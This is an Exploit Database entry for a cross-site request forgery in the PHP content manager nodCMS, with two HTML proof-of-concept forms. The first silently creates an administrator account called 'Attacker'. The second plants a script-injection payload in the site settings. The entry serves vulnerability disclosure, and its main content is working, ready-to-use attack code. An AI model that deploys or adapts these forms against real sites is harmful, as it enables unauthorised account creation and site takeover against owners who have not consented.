

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# nodCMS - Cross-Site Request Forgery

**EDB-ID:**

40707

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[AMIR.GHT](#)

**Type:**

[WEBAPPS](#)

**Exploit:**   / 

**Platform:**

[PHP](#)

**Date:**

2016-11-03

**Vulnerable App:** 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title :      nodcms Cross Site Request Forgery
# Author :          Ashiyane Digital Security Team
# Google Dork :     -
# Date :           29/10/2016
# Type :           webapps
# Platform :       PHP
# Vendor Homepage : http://www.nodcms.com/en
Software link :
https://github.com/khodakhah/nodcms/archive/master.zip
```

```
##### CSRF PoC #####
# create User: username=Attacker & password=123456
```

```
<html>
  <!-- CSRF PoC -->
  <body>
    <form name="form0" action="http://SiteName/admin/user_manipulate"
method="POST">
      <input type="hidden" name="data[username]" value="Attacker" />
      <input type="hidden" name="data[email]" value="Attacker@attacker.com"
/>
      <input type="hidden" name="data[fullname]" value="Atacker" />
      <input type="hidden" name="data[password]" value="123456" />
      <input type="hidden" name="data[status]" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

```
#####
```

```
# CSRF/Xss
```

```
<html>
  <!-- CSRF PoC -->
  <body>
    <form name="form1" action="http://sitename/admin/settings/general"
method="POST">
      <input type="hidden" name="data[language_id]" value="1" />
      <input type="hidden" name="data[company]" value="<script>alert(/xss/)
</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

```
#####
```

```
#-# Discovered by : Amir.ght
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING